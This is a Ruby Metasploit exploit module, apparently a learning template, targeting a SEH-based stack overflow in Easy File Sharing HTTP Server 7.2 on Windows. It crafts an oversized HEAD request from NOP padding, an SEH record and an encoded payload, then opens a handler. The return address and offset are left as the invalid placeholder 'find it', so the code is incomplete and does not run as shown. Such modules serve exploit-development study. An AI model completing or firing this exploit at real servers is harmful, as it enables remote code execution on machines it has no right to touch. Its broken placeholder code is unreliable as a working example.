require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
      'Description'     => %q{
        This Module Demonstrate SEH based overflow example
      },
      'Author'          => 'yxz',

      'Payload'         =>
        	{
          		'Space'       => 390,
          		'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
        	},
      'Platform'      => 'Windows',
      'Targets'       =>
         		 [
            		   [
              		   'Easy File Sharing 7.2 HTTP',
              			{
                		'Ret'       => find it,
                		'Offset'    => find it
              			}
            		   ]
          		 ],
      'DisclosureDate'  => '2020-02-28',
  ))
  end

  def exploit
    connect
    weapon = "HEAD "
    weapon << make_nops(target['Offset'])
    weapon << generate_seh_record(target['Ret'])
    weapon << make_nops(20)
    weapon << payload.encoded
    weapon << " HTTP/1.0\r\n\r\n"
    sock.put(weapon)
    handler
    disconnect
   end
end
